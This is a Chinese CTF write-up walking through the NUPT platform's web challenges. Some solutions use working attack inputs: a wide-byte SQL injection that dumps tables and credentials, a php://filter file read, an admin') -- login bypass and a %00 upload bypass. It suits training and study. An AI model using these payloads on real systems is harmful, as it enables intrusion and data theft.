1. 程式人生 > 實用技巧 >南京郵電大學網路攻防平臺WEB題

南京郵電大學網路攻防平臺WEB題

南京郵電大學網路攻防平臺WEB題

平臺地址:http://ctf.nuptsast.com/

簽到題:

右鍵檢視原始碼,得到flag

md5 collision:

傳入的a的md5值要為0e開頭的,但不能是QNKCDZO,百度一個0e開頭的md5

得到flag

簽到2:

右鍵檢視原始碼

輸入框允許的最大長度為10,口令的長度為11

使用hackbar post一下

得到flag

這題不是WEB:

下載圖片,用記事本開啟

拉到最後,得到flag

層層遞進:

是一個網站頁面,先掃一下

有個404.html

檢視一下原始碼,得到flag

AAencode:

這題為javascript aaencode解密題,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

單身二十年

右鍵檢視原始碼

點選進入,得到flag

php decode:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php functionCLsI($ZzvSWE) { $ZzvSWE= gzinflate(base64_decode($ZzvSWE)); for($i= 0;$i<strlen($ZzvSWE);$i++) { $ZzvSWE[$i] =chr(ord($ZzvSWE[$i]) - 1); } return$ZzvSWE; }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="
));?>

把eval改為echo,在本地用phpstudy測試一下

得到flag

檔案包含:

點進去

用php://filter/讀取index.php

構建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

為base64加密,解密一下得到flag

單身一百年也沒用:

開啟firebug,在“網路”裡檢視包,點選連結,檢視包,得到flag

Download~!:

這類又兩個下載連結,複製一下一個地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,後面為base64加密,下載download.php,對download.php進行base64加密後下載

下載後開啟

發現一個hereiskey.php,下載後開啟,得到flag

COOKIE:

在firebug裡的cookies處修改一下,把0改成1,然後重新整理頁面

得到flag

MYSQL:

直接在後面加個robots.txt

id不等於1024才給輸出內容,intval()函式又是獲取整數值,直接傳入1024.1,得到flag

sql injection 3:

加個單引號

單引號被過濾了,看來是寬位元組注入,查一下欄位

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23

報錯

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23

沒報錯

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23

報錯

有2個欄位

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select1,2 %23

爆出了個2,查一下資料庫

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select1,database() %23

爆出了一個數據庫

爆一下表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%dfunion select1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

爆出了5個表:ctf,ctf2,ctf3,ctf4,news

爆一下ctf的欄位

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

得到2個欄位

爆一下內容

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select1,group_concat(user,pw) from ctf %23

爆出一個admin和一個md5密文

解一下密

密文為njupt

試了ctf2和ctf3都沒有找到flag

試ctf4的時候看到了一個flag欄位

爆一下內容

得到flag

/x00:

ereg()函式可以%00截斷,當傳入的nctf為陣列時,它的返回值不是FALSE,直接傳入nctf[]得到flag

bypass again:

傳入的a和b的值不相等,但是md5的值相等,可以用陣列

得到flag

變數覆蓋:

點選,看一下原始碼

extract()函式變數覆蓋$pass和$thepassword_123

得到flag

PHP是世界上最好的語言:

訪問一下index.txt

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] =="hackerDJ") { echo"<p>Access granted!</p>"; echo"<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website?

eregi()函式判斷id傳入的值是否為hackerDJ,傳入的id的值url解碼後要跟hackerDJ相同,對hackerDJ進行兩次url編碼

http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

得到flag

偽裝者:

這裡提示本地登陸

Header:

開啟Firebug,重新整理一下介面,得到flag

上傳繞過:

選擇一個圖片檔案上傳,用burp抓包

在/uploads/後加一個php的字尾名,然後%00截斷,發包得到flag

SQL注入1:

點選Source,檢視原始碼

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if($_POST[user] &&$_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M .':'. SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user= trim($_POST[user]); $pass= md5(trim($_POST[pass])); $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; echo'</br>'.$sql; $query= mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo"<p>Logged in! flag:******************** </p>"; } if($query[user] !="admin") { echo("<p>You are not admin!</p>"); } } echo$query[user]; ?>

用admin')把語句閉合,用--把後面的語句註釋掉,如果是admin的話,就能得到flag

構造語句:admin') -- aaa,密碼隨便填

pass check:

程式碼如下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $pass=@$_POST['pass']; $pass1=***********;//被隱藏起來的密碼 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo"flag:nctf{*}"; }else{ echo"the pass is wrong!"; } }else{ echo"please input pass!"; } ?>

strcmp()函式對$pass和$pass1進行比較,如果一樣的話返回flag,strcmp()比較的結果相同時會返回0,比較陣列的時候會返回null,null和0在判斷中相等

用hackbar post一個數組

得到flag

起名字真難:

原始碼如下:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php functionnoother_says_correct($number) { $one= ord('1'); $nine= ord('9'); for($i= 0;$i<strlen($number);$i++) { $digit= ord($number{$i}); if( ($digit>=$one) && ($digit<=$nine) ) { returnfalse; } } return$number=='54975581388'; } $flag='*******'; if(noother_says_correct($_GET['key'])) echo$flag; else echo'access denied'; ?>

不能傳入數字,但是要傳入54975581388,才能得到flag,轉換為十六進位制傳入

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

得到flag

分類:CTF 轉自:https://www.cnblogs.com/sch01ar/p/7780585.html